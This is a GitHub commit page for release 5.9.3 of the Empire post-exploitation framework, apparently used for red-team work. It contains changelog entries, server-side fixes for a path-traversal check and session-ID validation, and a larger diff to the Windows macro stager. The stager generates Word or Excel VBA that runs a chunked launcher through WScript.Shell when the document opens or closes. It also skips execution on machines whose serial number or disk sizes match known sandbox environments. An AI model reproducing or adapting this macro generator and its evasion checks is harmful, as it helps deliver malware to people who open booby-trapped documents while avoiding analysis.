Skip to content

Commit

Permalink
Merge pull request #721 from BC-SECURITY/release/5.9.3
Browse files Browse the repository at this point in the history
v5.9.3 into main
  • Loading branch information
vinnybod authored Feb 9, 2024
2 parents 52dcb52 + 2aab93c commit e73e883
Show file tree
Hide file tree
Showing 12 changed files with 443 additions and 65 deletions.
16 changes: 15 additions & 1 deletion CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,18 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

## [Unreleased]

## [5.9.3] - 2024-02-09

### Added

- Added option to windows_macro stager to select Excel or Word and AutoOpen or AutoClose (@Cx01N)

### Fixed

- Fixed obfuscation issue in Malleable HTTP listeners and added tests (@Cx01N)
- Fixed issue that invalid session IDs were accepted by the server (@Cx01N)
- Fixed skywalker exploit (again) and added tests (@Cx01N)

## [5.9.2] - 2024-01-31
- Updated Starkiller to v2.7.2

Expand Down Expand Up @@ -776,7 +788,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Updated shellcoderdi to newest version (@Cx01N)
- Added a Nim launcher (@Hubbl3)

[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.2...HEAD
[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.3...HEAD

[5.9.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.2...v5.9.3

[5.9.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v5.9.1...v5.9.2

Expand Down
19 changes: 9 additions & 10 deletions empire/server/common/agents.py
Original file line number Diff line number Diff line change
Expand Up @@ -57,6 +57,7 @@
from empire.server.core.db.models import AgentTaskStatus
from empire.server.core.hooks import hooks
from empire.server.utils import datetime_util
from empire.server.utils.string_util import is_valid_session_id

from . import encryption, helpers, packets

Expand Down Expand Up @@ -263,10 +264,8 @@ def save_file(
try:
self.lock.acquire()
# fix for 'skywalker' exploit by @zeroSteiner
# I'm not really sure if this can actually still be exploited, its gone through
# quite a few refactors. But we'll keep it for now.
safe_path = download_dir.absolute()
if not str(save_file.absolute()).startswith(str(safe_path)):
if not str(os.path.normpath(save_file)).startswith(str(safe_path)):
message = "Agent {} attempted skywalker exploit! Attempted overwrite of {} with data {}".format(
sessionID, path, data
)
Expand Down Expand Up @@ -370,9 +369,7 @@ def save_module_file(self, sessionID, path, data, language: str):
safe_path = download_dir.absolute()

# fix for 'skywalker' exploit by @zeroSteiner
# I'm not really sure if this can actually still be exploited, its gone through
# quite a few refactors. But we'll keep it for now.
if not str(save_file.absolute()).startswith(str(safe_path)):
if not str(os.path.normpath(save_file)).startswith(str(safe_path)):
message = "agent {} attempted skywalker exploit!\n[!] attempted overwrite of {} with data {}".format(
sessionID, path, data
)
Expand Down Expand Up @@ -1121,7 +1118,11 @@ def handle_agent_data(

# process each routing packet
for sessionID, (language, meta, additional, encData) in routingPacket.items():
if meta == "STAGE0" or meta == "STAGE1" or meta == "STAGE2":
if not is_valid_session_id(sessionID):
message = f"handle_agent_data(): invalid sessionID {sessionID}"
log.error(message)
dataToReturn.append(("", f"ERROR: invalid sessionID {sessionID}"))
elif meta == "STAGE0" or meta == "STAGE1" or meta == "STAGE2":
message = f"handle_agent_data(): sessionID {sessionID} issued a {meta} request"
log.debug(message)

Expand Down Expand Up @@ -1642,9 +1643,7 @@ def process_agent_packet(
save_path = download_dir / session_id / "keystrokes.txt"

# fix for 'skywalker' exploit by @zeroSteiner
# I'm not really sure if this can actually still be exploited, its gone through
# quite a few refactors. But we'll keep it for now.
if not str(save_path.absolute()).startswith(str(safe_path)):
if not str(os.path.normpath(save_path)).startswith(str(safe_path)):
message = f"agent {session_id} attempted skywalker exploit!"
log.warning(message)
return
Expand Down
2 changes: 1 addition & 1 deletion empire/server/common/empire.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@

from . import agents, credentials, listeners, stagers

VERSION = "5.9.2 BC Security Fork"
VERSION = "5.9.3 BC Security Fork"

log = logging.getLogger(__name__)

Expand Down
11 changes: 6 additions & 5 deletions empire/server/core/obfuscation_service.py
Original file line number Diff line number Diff line change
Expand Up @@ -190,13 +190,14 @@ def remove_preobfuscated_modules(self, language: str):
os.remove(file)

def obfuscate_keywords(self, data):
with SessionLocal.begin() as db:
keywords = db.query(models.Keyword).all()
if data:
with SessionLocal.begin() as db:
keywords = db.query(models.Keyword).all()

for keyword in keywords:
data = data.replace(keyword.keyword, keyword.replacement)
for keyword in keywords:
data = data.replace(keyword.keyword, keyword.replacement)

return data
return data

def _get_module_source_files(self, language: str):
"""
Expand Down
8 changes: 6 additions & 2 deletions empire/server/listeners/http_malleable.py
Original file line number Diff line number Diff line change
Expand Up @@ -555,8 +555,12 @@ def generate_launcher(
launcherBase += listener_util.python_extract_stager(stagingKey)

if obfuscate:
stager = self.mainMenu.obfuscationv2.python_obfuscate(stager)
stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
launcherBase
)
launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
launcherBase
)

if encode:
launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
Expand Down
101 changes: 65 additions & 36 deletions empire/server/stagers/windows/macro.py
Original file line number Diff line number Diff line change
Expand Up @@ -105,6 +105,20 @@ def __init__(self, mainMenu):
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"Trigger": {
"Description": "Trigger for the macro (autoopen, autoclose).",
"Required": True,
"Value": "autoopen",
"SuggestedValues": ["autoopen", "autoclose"],
"Strict": True,
},
"DocType": {
"Description": "Type of document to generate (word, excel).",
"Required": True,
"Value": "word",
"SuggestedValues": ["word", "excel"],
"Strict": True,
},
}

self.mainMenu = mainMenu
Expand All @@ -123,6 +137,19 @@ def generate(self):
safe_checks = self.options["SafeChecks"]["Value"]
bypasses = self.options["Bypasses"]["Value"]
outlook_evasion = self.options["OutlookEvasion"]["Value"]
trigger = self.options["Trigger"]["Value"]
doc_type = self.options["DocType"]["Value"]

if doc_type.lower() == "excel":
if trigger.lower() == "autoopen":
macro_sub_name = "Workbook_Open()"
else:
macro_sub_name = "Workbook_BeforeClose(Cancel As Boolean)"
else:
if trigger.lower() == "autoopen":
macro_sub_name = "AutoOpen()"
else:
macro_sub_name = "AutoClose()"

encode = False
if base64.lower() == "true":
Expand Down Expand Up @@ -170,6 +197,10 @@ def generate(self):
bypasses=bypasses,
)

if launcher == "":
log.error("[!] Error in launcher command generation.")
return ""

set_string = "".join(
random.choice(string.ascii_letters)
for i in range(random.randint(1, len(listener_name)))
Expand All @@ -179,40 +210,38 @@ def generate(self):
for i in range(random.randint(1, len(listener_name)))
)

if launcher == "":
log.error("[!] Error in launcher command generation.")
return ""
else:
chunks = list(helpers.chunks(launcher, 50))
payload = "\tDim " + set_string + " As String\n"
payload += "\t" + set_string + ' = "' + str(chunks[0]) + '"\n'
for chunk in chunks[1:]:
payload += (
"\t" + set_string + " = " + set_string + ' + "' + str(chunk) + '"\n'
)
chunks = list(helpers.chunks(launcher, 50))
payload = "\tDim " + set_string + " As String\n"
payload += "\t" + set_string + ' = "' + str(chunks[0]) + '"\n'
for chunk in chunks[1:]:
payload += (
"\t" + set_string + " = " + set_string + ' + "' + str(chunk) + '"\n'
)

macro = f"Sub {macro_sub_name}\n"
macro += "\t" + set_method + "\n"
macro += "End Sub\n\n"

macro = "Sub AutoClose()\n"
macro += "\t" + set_method + "\n"
macro += "End Sub\n\n"

macro += "Public Function " + set_method + "() As Variant\n"

if outlook_evasion_bool is True:
macro += '\tstrComputer = "."\n'
macro += '\tSet objWMIService = GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")\n'
macro += '\tSet ID = objWMIService.ExecQuery("Select IdentifyingNumber from Win32_ComputerSystemproduct")\n'
macro += "\tFor Each objItem In ID\n"
macro += '\t\tIf StrComp(objItem.IdentifyingNumber, "2UA20511KN") = 0 Then End\n'
macro += "\tNext\n"
macro += '\tSet disksize = objWMIService.ExecQuery("Select Size from Win32_logicaldisk")\n'
macro += "\tFor Each objItem In disksize\n"
macro += "\t\tIf (objItem.Size = 42949603328#) Then End\n"
macro += "\t\tIf (objItem.Size = 68719443968#) Then End\n"
macro += "\tNext\n"

macro += payload
macro += '\tSet asd = CreateObject("WScript.Shell")\n'
macro += "\tasd.Run(" + set_string + ")\n"
macro += "End Function\n"

return macro
macro += "Public Function " + set_method + "() As Variant\n"

if outlook_evasion_bool is True:
macro += '\tstrComputer = "."\n'
macro += '\tSet objWMIService = GetObject("winmgmts:\\\\" & strComputer & "\\root\\cimv2")\n'
macro += '\tSet ID = objWMIService.ExecQuery("Select IdentifyingNumber from Win32_ComputerSystemproduct")\n'
macro += "\tFor Each objItem In ID\n"
macro += (
'\t\tIf StrComp(objItem.IdentifyingNumber, "2UA20511KN") = 0 Then End\n'
)
macro += "\tNext\n"
macro += '\tSet disksize = objWMIService.ExecQuery("Select Size from Win32_logicaldisk")\n'
macro += "\tFor Each objItem In disksize\n"
macro += "\t\tIf (objItem.Size = 42949603328#) Then End\n"
macro += "\t\tIf (objItem.Size = 68719443968#) Then End\n"
macro += "\tNext\n"

macro += payload
macro += '\tSet asd = CreateObject("WScript.Shell")\n'
macro += "\tasd.Run(" + set_string + ")\n"
macro += "End Function\n"

return macro
9 changes: 9 additions & 0 deletions empire/server/utils/string_util.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,6 @@
import re


def removeprefix(s, prefix):
# Remove when we drop Python 3.8 support
if s.startswith(prefix):
Expand All @@ -10,3 +13,9 @@ def removesuffix(s, suffix):
if s.endswith(suffix):
return s[: -len(suffix)]
return s


def is_valid_session_id(session_id):
if not isinstance(session_id, str):
return False
return re.match(r"^[A-Z0-9]{8}$", session_id.strip()) is not None
Loading

0 comments on commit e73e883

Please sign in to comment.